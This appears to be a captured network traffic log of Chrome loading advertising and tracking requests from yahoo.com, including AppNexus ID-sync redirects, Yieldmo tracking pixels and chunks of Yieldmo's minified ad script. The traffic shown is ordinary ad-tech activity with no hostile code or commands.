2024-04-27 22:42:06 UTC	260	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8 Date: Sat, 27 Apr 2024 22:42:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.4	50105	68.67.160.75	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	712	OUT	GET /getuid?https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dappnexus%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:06 UTC	1585	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%253A%252F%252Fpbs.yahoo.com%252Fsetuid%253Fbidder%253Dappnexus%2526gdpr%253D0%2526gdpr_consent%253D%2526gpp%253DDBAA%2526gpp_sid%253D-1%2526f%253Di%2526uid%253D%2524UID AN-X-Request-Uuid: a51880c3-7254-4d69-b4e2-ccdae1db3e5f Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:06 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:06 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:06 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 673.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.4	50112	35.169.22.169	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	1288	OUT	GET /v000/t_tkr/ev?type=burl&pvid=3526568451959556956&pvt=1714257719710&plid=3494600134447014563&imp=1121930830413873533&rep_meta=OxryVXEwpTm169ULoMdnxAilR3dTHvW2h7fbytaLWZP-nZT0JZkBWv0a__McT6GnlJtFYZh_XhsVXt7s4C4_InXOHoL8uA49xwCPNEqdQURmDBproG_MMwpQTaI8I41HEqzYQVFZ8CswUJpGTJPeTZj-jR-x7Rdj4crYbAxKS27RjCaX1XxKNyO3ReoPhUKoIXdsDD-XidSuQml9bQyntX58ZFvAn5-JDPwdIlFrpWV3EAzQRVlwvoB5MMDNz246SkyjZQjh6RFpl-aXvasSZEea8Vb2WB_jg8eGJ_GECFl_zIU2ljc3NqGIB4z07Kmc7Hn9o1ElR3WwqXDftg4jCiD_84mMiCEnbb3oVN6p2fr_jn9SttB6BFoUuPDzSgbHWRATjTgOd1oiu1jUvgRXyBG6IPiXSMYBrUTsFFWOeCo HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
2024-04-27 22:42:06 UTC	416	IN	HTTP/1.1 204 Date: Sat, 27 Apr 2024 22:42:06 GMT Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: GET Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.4	50113	13.32.208.88	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	652	OUT	GET /ym.0.js HTTP/1.1 Host: static.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169
2024-04-27 22:42:09 UTC	760	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 509264 Connection: close Date: Sat, 27 Apr 2024 19:17:22 GMT x-amz-replication-status: COMPLETED Last-Modified: Thu, 25 Apr 2024 14:06:21 GMT ETag: "34aa4c0ba94e6d30df68f6336fcb75fd" x-amz-server-side-encryption: AES256 x-amz-version-id: fCS70z4j9KpReK2N015TbqcoinAxjVeE Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 6ff4697c5089876d94430beacc9a4d5e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD66-C1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: JI7H90catto8s4NdTvUmBs8r0m5frXefB2eJLa1tr3fRpFHLV2eMfQ== Age: 12288 Cache-Control: private, max-age=1800 x-response-headers-policy: static-yieldmo-com_js_text Vary: Origin
2024-04-27 22:42:09 UTC	16384	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 79 6d 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 61 2c 6f 2c 73 3d 7b 31 31 32 35 3a 65 3d 3e 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 74 5b 72 5d 29 72 65 74 75 72 6e 20 74 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 74 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 72 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 6e 29 2c Data Ascii: /! For license information please see ym.min.js.LICENSE.txt /(()=>{var e,t,n,r,i,a,o,s={1125:e=>{window,e.exports=function(e){var t={};function n(r){if(t[r])return t[r].exports;var i=t[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,n),
2024-04-27 22:42:09 UTC	16384	IN	Data Raw: 20 61 3d 30 3b 61 3c 69 3b 2b 2b 61 29 6e 5b 61 5d 3d 74 68 69 73 5b 61 2b 65 5d 7d 72 65 74 75 72 6e 20 6e 7d 2c 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 55 49 6e 74 4c 45 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 7c 3d 30 2c 74 7c 3d 30 2c 6e 7c 7c 50 28 65 2c 74 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 3b 66 6f 72 28 76 61 72 20 72 3d 74 68 69 73 5b 65 5d 2c 69 3d 31 2c 61 3d 30 3b 2b 2b 61 3c 74 26 26 28 69 2a 3d 32 35 36 29 3b 29 72 2b 3d 74 68 69 73 5b 65 2b 61 5d 2a 69 3b 72 65 74 75 72 6e 20 72 7d 2c 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 55 49 6e 74 42 45 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 7c 3d 30 2c 74 7c 3d 30 2c 6e 7c 7c 50 28 65 2c 74 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 3b 66 6f 72 28 76 61 72 Data Ascii: a=0;a<i;++a)n[a]=this[a+e]}return n},l.prototype.readUIntLE=function(e,t,n){e\|=0,t\|=0,n\|\|P(e,t,this.length);for(var r=this[e],i=1,a=0;++a<t&&(i=256);)r+=this[e+a]i;return r},l.prototype.readUIntBE=function(e,t,n){e\|=0,t\|=0,n\|\|P(e,t,this.length);for(var
2024-04-27 22:42:09 UTC	16384	IN	Data Raw: 28 69 3c 30 29 72 65 74 75 72 6e 20 74 68 69 73 3b 30 3d 3d 3d 69 3f 6e 2e 73 68 69 66 74 28 29 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 3b 74 2b 31 3c 65 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 65 5b 74 5d 3d 65 5b 74 2b 31 5d 3b 65 2e 70 6f 70 28 29 7d 28 6e 2c 69 29 2c 31 3d 3d 3d 6e 2e 6c 65 6e 67 74 68 26 26 28 72 5b 65 5d 3d 6e 5b 30 5d 29 2c 76 6f 69 64 20 30 21 3d 3d 72 2e 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 26 26 74 68 69 73 2e 65 6d 69 74 28 22 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 22 2c 65 2c 6f 7c 7c 74 29 7d 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 66 66 3d 73 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 2c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f Data Ascii: (i<0)return this;0===i?n.shift():function(e,t){for(;t+1<e.length;t++)e[t]=e[t+1];e.pop()}(n,i),1===n.length&&(r[e]=n[0]),void 0!==r.removeListener&&this.emit("removeListener",e,o\|\|t)}return this},s.prototype.off=s.prototype.removeListener,s.prototype.remo
2024-04-27 22:42:09 UTC	16384	IN	Data Raw: 73 43 6f 75 6e 74 2c 74 29 3b 76 61 72 20 6c 3d 74 26 26 21 31 3d 3d 3d 74 2e 65 6e 64 7c 7c 65 3d 3d 3d 72 2e 73 74 64 6f 75 74 7c 7c 65 3d 3d 3d 72 2e 73 74 64 65 72 72 3f 79 3a 63 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 68 28 22 6f 6e 65 6e 64 22 29 2c 65 2e 65 6e 64 28 29 7d 61 2e 65 6e 64 45 6d 69 74 74 65 64 3f 69 2e 6e 65 78 74 54 69 63 6b 28 6c 29 3a 6e 2e 6f 6e 63 65 28 22 65 6e 64 22 2c 6c 29 2c 65 2e 6f 6e 28 22 75 6e 70 69 70 65 22 2c 28 66 75 6e 63 74 69 6f 6e 20 74 28 72 2c 69 29 7b 68 28 22 6f 6e 75 6e 70 69 70 65 22 29 2c 72 3d 3d 3d 6e 26 26 69 26 26 21 31 3d 3d 3d 69 2e 68 61 73 55 6e 70 69 70 65 64 26 26 28 69 2e 68 61 73 55 6e 70 69 70 65 64 3d 21 30 2c 68 28 22 63 6c 65 61 6e 75 70 22 29 2c 65 2e 72 65 6d 6f 76 65 4c 69 73 74 65 6e Data Ascii: sCount,t);var l=t&&!1===t.end\|\|e===r.stdout\|\|e===r.stderr?y:c;function c(){h("onend"),e.end()}a.endEmitted?i.nextTick(l):n.once("end",l),e.on("unpipe",(function t(r,i){h("onunpipe"),r===n&&i&&!1===i.hasUnpiped&&(i.hasUnpiped=!0,h("cleanup"),e.removeListen
2024-04-27 22:42:09 UTC	16384	IN	Data Raw: 22 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 76 28 74 29 29 7b 76 61 72 20 6e 3d 22 27 22 2b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 2e 72 65 70 6c 61 63 65 28 2f 5e 22 7c 22 24 2f 67 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 5c 5c 27 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 5c 22 2f 67 2c 27 22 27 29 2b 22 27 22 3b 72 65 74 75 72 6e 20 65 2e 73 74 79 6c 69 7a 65 28 6e 2c 22 73 74 72 69 6e 67 22 29 7d 72 65 74 75 72 6e 20 6d 28 74 29 3f 65 2e 73 74 79 6c 69 7a 65 28 22 22 2b 74 2c 22 6e 75 6d 62 65 72 22 29 3a 70 28 74 29 3f 65 2e 73 74 79 6c 69 7a 65 28 22 22 2b 74 2c 22 62 6f 6f 6c 65 61 6e 22 29 3a 67 28 74 29 3f 65 2e 73 74 79 6c 69 7a 65 28 22 6e 75 6c 6c 22 2c 22 6e 75 6c 6c 22 29 3a 76 6f 69 64 20 30 7d 28 65 2c 6e 29 3b Data Ascii: "undefined");if(v(t)){var n="'"+JSON.stringify(t).replace(/^"\|"$/g,"").replace(/'/g,"\\'").replace(/\\"/g,'"')+"'";return e.stylize(n,"string")}return m(t)?e.stylize(""+t,"number"):p(t)?e.stylize(""+t,"boolean"):g(t)?e.stylize("null","null"):void 0}(e,n);
2024-04-27 22:42:09 UTC	16384	IN	Data Raw: 3d 65 2e 6c 65 6e 67 74 68 3b 69 66 28 74 25 34 3e 30 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 73 74 72 69 6e 67 2e 20 4c 65 6e 67 74 68 20 6d 75 73 74 20 62 65 20 61 20 6d 75 6c 74 69 70 6c 65 20 6f 66 20 34 22 29 3b 76 61 72 20 6e 3d 65 2e 69 6e 64 65 78 4f 66 28 22 3d 22 29 3b 72 65 74 75 72 6e 2d 31 3d 3d 3d 6e 26 26 28 6e 3d 74 29 2c 5b 6e 2c 6e 3d 3d 3d 74 3f 30 3a 34 2d 6e 25 34 5d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 69 2c 61 2c 6f 3d 5b 5d 2c 73 3d 74 3b 73 3c 6e 3b 73 2b 3d 33 29 69 3d 28 65 5b 73 5d 3c 3c 31 36 26 31 36 37 31 31 36 38 30 29 2b 28 65 5b 73 2b 31 5d 3c 3c 38 26 36 35 32 38 30 29 2b 28 32 35 35 26 65 5b 73 2b 32 5d 29 2c 6f 2e 70 75 73 68 28 72 5b 28 Data Ascii: =e.length;if(t%4>0)throw new Error("Invalid string. Length must be a multiple of 4");var n=e.indexOf("=");return-1===n&&(n=t),[n,n===t?0:4-n%4]}function u(e,t,n){for(var i,a,o=[],s=t;s<n;s+=3)i=(e[s]<<16&16711680)+(e[s+1]<<8&65280)+(255&e[s+2]),o.push(r[(
2024-04-27 22:42:09 UTC	16384	IN	Data Raw: 6b 61 68 65 61 64 29 3b 64 6f 7b 69 66 28 63 5b 28 6e 3d 74 29 2b 6f 5d 3d 3d 3d 70 26 26 63 5b 6e 2b 6f 2d 31 5d 3d 3d 3d 68 26 26 63 5b 6e 5d 3d 3d 3d 63 5b 61 5d 26 26 63 5b 2b 2b 6e 5d 3d 3d 3d 63 5b 61 2b 31 5d 29 7b 61 2b 3d 32 2c 6e 2b 2b 3b 64 6f 7b 7d 77 68 69 6c 65 28 63 5b 2b 2b 61 5d 3d 3d 3d 63 5b 2b 2b 6e 5d 26 26 63 5b 2b 2b 61 5d 3d 3d 3d 63 5b 2b 2b 6e 5d 26 26 63 5b 2b 2b 61 5d 3d 3d 3d 63 5b 2b 2b 6e 5d 26 26 63 5b 2b 2b 61 5d 3d 3d 3d 63 5b 2b 2b 6e 5d 26 26 63 5b 2b 2b 61 5d 3d 3d 3d 63 5b 2b 2b 6e 5d 26 26 63 5b 2b 2b 61 5d 3d 3d 3d 63 5b 2b 2b 6e 5d 26 26 63 5b 2b 2b 61 5d 3d 3d 3d 63 5b 2b 2b 6e 5d 26 26 63 5b 2b 2b 61 5d 3d 3d 3d 63 5b 2b 2b 6e 5d 26 26 61 3c 66 29 3b 69 66 28 72 3d 32 35 38 2d 28 66 2d 61 29 2c 61 3d 66 2d 32 35 Data Ascii: kahead);do{if(c[(n=t)+o]===p&&c[n+o-1]===h&&c[n]===c[a]&&c[++n]===c[a+1]){a+=2,n++;do{}while(c[++a]===c[++n]&&c[++a]===c[++n]&&c[++a]===c[++n]&&c[++a]===c[++n]&&c[++a]===c[++n]&&c[++a]===c[++n]&&c[++a]===c[++n]&&c[++a]===c[++n]&&a<f);if(r=258-(f-a),a=f-25
2024-04-27 22:42:09 UTC	13232	IN	Data Raw: 2d 2d 29 66 6f 72 28 72 3d 65 2e 62 6c 5f 63 6f 75 6e 74 5b 61 5d 3b 30 21 3d 3d 72 3b 29 28 69 3d 65 2e 68 65 61 70 5b 2d 2d 6e 5d 29 3e 63 7c 7c 28 6c 5b 32 2a 69 2b 31 5d 21 3d 3d 61 26 26 28 65 2e 6f 70 74 5f 6c 65 6e 2b 3d 28 61 2d 6c 5b 32 2a 69 2b 31 5d 29 2a 6c 5b 32 2a 69 5d 2c 6c 5b 32 2a 69 2b 31 5d 3d 61 29 2c 72 2d 2d 29 7d 7d 28 65 2c 74 29 2c 6b 28 61 2c 63 2c 65 2e 62 6c 5f 63 6f 75 6e 74 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 61 3d 2d 31 2c 6f 3d 74 5b 31 5d 2c 73 3d 30 2c 6c 3d 37 2c 63 3d 34 3b 66 6f 72 28 30 3d 3d 3d 6f 26 26 28 6c 3d 31 33 38 2c 63 3d 33 29 2c 74 5b 32 2a 28 6e 2b 31 29 2b 31 5d 3d 36 35 35 33 35 2c 72 3d 30 3b 72 3c 3d 6e 3b 72 2b 2b 29 69 3d 6f 2c 6f 3d 74 5b 32 2a 28 72 Data Ascii: --)for(r=e.bl_count[a];0!==r;)(i=e.heap[--n])>c\|\|(l[2i+1]!==a&&(e.opt_len+=(a-l[2i+1])l[2i],l[2i+1]=a),r--)}}(e,t),k(a,c,e.bl_count)}function O(e,t,n){var r,i,a=-1,o=t[1],s=0,l=7,c=4;for(0===o&&(l=138,c=3),t[2(n+1)+1]=65535,r=0;r<=n;r++)i=o,o=t[2*(r
2024-04-27 22:42:09 UTC	16384	IN	Data Raw: 65 2e 6d 73 67 3d 22 69 6e 63 6f 72 72 65 63 74 20 64 61 74 61 20 63 68 65 63 6b 22 2c 6e 2e 6d 6f 64 65 3d 33 30 3b 62 72 65 61 6b 7d 67 3d 30 2c 6d 3d 30 7d 6e 2e 6d 6f 64 65 3d 32 38 3b 63 61 73 65 20 32 38 3a 69 66 28 6e 2e 77 72 61 70 26 26 6e 2e 66 6c 61 67 73 29 7b 66 6f 72 28 3b 6d 3c 33 32 3b 29 7b 69 66 28 30 3d 3d 3d 68 29 62 72 65 61 6b 20 65 3b 68 2d 2d 2c 67 2b 3d 63 5b 64 2b 2b 5d 3c 3c 6d 2c 6d 2b 3d 38 7d 69 66 28 67 21 3d 3d 28 34 32 39 34 39 36 37 32 39 35 26 6e 2e 74 6f 74 61 6c 29 29 7b 65 2e 6d 73 67 3d 22 69 6e 63 6f 72 72 65 63 74 20 6c 65 6e 67 74 68 20 63 68 65 63 6b 22 2c 6e 2e 6d 6f 64 65 3d 33 30 3b 62 72 65 61 6b 7d 67 3d 30 2c 6d 3d 30 7d 6e 2e 6d 6f 64 65 3d 32 39 3b 63 61 73 65 20 32 39 3a 50 3d 31 3b 62 72 65 61 6b 20 65 Data Ascii: e.msg="incorrect data check",n.mode=30;break}g=0,m=0}n.mode=28;case 28:if(n.wrap&&n.flags){for(;m<32;){if(0===h)break e;h--,g+=c[d++]<<m,m+=8}if(g!==(4294967295&n.total)){e.msg="incorrect length check",n.mode=30;break}g=0,m=0}n.mode=29;case 29:P=1;break e
2024-04-27 22:42:09 UTC	16384	IN	Data Raw: 79 70 65 6f 66 20 74 26 26 28 74 3d 72 2e 70 61 72 73 65 28 74 29 29 3b 76 61 72 20 6e 3d 65 2e 62 6c 6f 63 6b 53 69 7a 65 2c 69 3d 34 2a 6e 3b 74 2e 73 69 67 42 79 74 65 73 3e 69 26 26 28 74 3d 65 2e 66 69 6e 61 6c 69 7a 65 28 74 29 29 2c 74 2e 63 6c 61 6d 70 28 29 3b 66 6f 72 28 76 61 72 20 61 3d 74 68 69 73 2e 5f 6f 4b 65 79 3d 74 2e 63 6c 6f 6e 65 28 29 2c 6f 3d 74 68 69 73 2e 5f 69 4b 65 79 3d 74 2e 63 6c 6f 6e 65 28 29 2c 73 3d 61 2e 77 6f 72 64 73 2c 6c 3d 6f 2e 77 6f 72 64 73 2c 63 3d 30 3b 63 3c 6e 3b 63 2b 2b 29 73 5b 63 5d 5e 3d 31 35 34 39 35 35 36 38 32 38 2c 6c 5b 63 5d 5e 3d 39 30 39 35 32 32 34 38 36 3b 61 2e 73 69 67 42 79 74 65 73 3d 6f 2e 73 69 67 42 79 74 65 73 3d 69 2c 74 68 69 73 2e 72 65 73 65 74 28 29 7d 2c 72 65 73 65 74 3a 66 75 Data Ascii: ypeof t&&(t=r.parse(t));var n=e.blockSize,i=4*n;t.sigBytes>i&&(t=e.finalize(t)),t.clamp();for(var a=this._oKey=t.clone(),o=this._iKey=t.clone(),s=a.words,l=o.words,c=0;c<n;c++)s[c]^=1549556828,l[c]^=909522486;a.sigBytes=o.sigBytes=i,this.reset()},reset:fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.4	50115	3.209.150.107	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	1337	OUT	GET /v000/t_tkr/ev?type=hi&pvid=3526568451959556956&pvt=1714257719710&plid=3494600134447014563&imp=1121930830413873533&rep_meta=OxryVXEwpTm169ULoMdnxAilR3dTHvW2h7fbytaLWZP-nZT0JZkBWv0a__McT6GnlJtFYZh_XhsVXt7s4C4_InXOHoL8uA49xwCPNEqdQURmDBproG_MMwpQTaI8I41HEqzYQVFZ8CswUJpGTJPeTZj-jR-x7Rdj4crYbAxKS27RjCaX1XxKNyO3ReoPhUKoIXdsDD-XidSuQml9bQyntX58ZFvAn5-JDPwdIlFrpWV3EAzQRVlwvoB5MMDNz246SkyjZQjh6RFpl-aXvasSZEea8Vb2WB_jg8eGJ_GECFl_zIU2ljc3NqGIB4z07Kmc7Hn9o1ElR3WwqXDftg4jCiD_84mMiCEnbb3oVN6p2fr_jn9SttB6BFoUuPDzSgbHWRATjTgOd1oiu1jUvgRXyBG6IPiXSMYBrUTsFFWOeCo HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
2024-04-27 22:42:09 UTC	652	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:09 GMT Content-Type: image/gif Content-Length: 43 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: GET Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile Set-Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:09 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None
2024-04-27 22:42:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.4	50116	3.209.150.107	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	1336	OUT	GET /v000/t_tkr/ev?type=r&pvid=3526568451959556956&pvt=1714257719710&plid=3494600134447014563&imp=1121930830413873533&rep_meta=OxryVXEwpTm169ULoMdnxAilR3dTHvW2h7fbytaLWZP-nZT0JZkBWv0a__McT6GnlJtFYZh_XhsVXt7s4C4_InXOHoL8uA49xwCPNEqdQURmDBproG_MMwpQTaI8I41HEqzYQVFZ8CswUJpGTJPeTZj-jR-x7Rdj4crYbAxKS27RjCaX1XxKNyO3ReoPhUKoIXdsDD-XidSuQml9bQyntX58ZFvAn5-JDPwdIlFrpWV3EAzQRVlwvoB5MMDNz246SkyjZQjh6RFpl-aXvasSZEea8Vb2WB_jg8eGJ_GECFl_zIU2ljc3NqGIB4z07Kmc7Hn9o1ElR3WwqXDftg4jCiD_84mMiCEnbb3oVN6p2fr_jn9SttB6BFoUuPDzSgbHWRATjTgOd1oiu1jUvgRXyBG6IPiXSMYBrUTsFFWOeCo HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
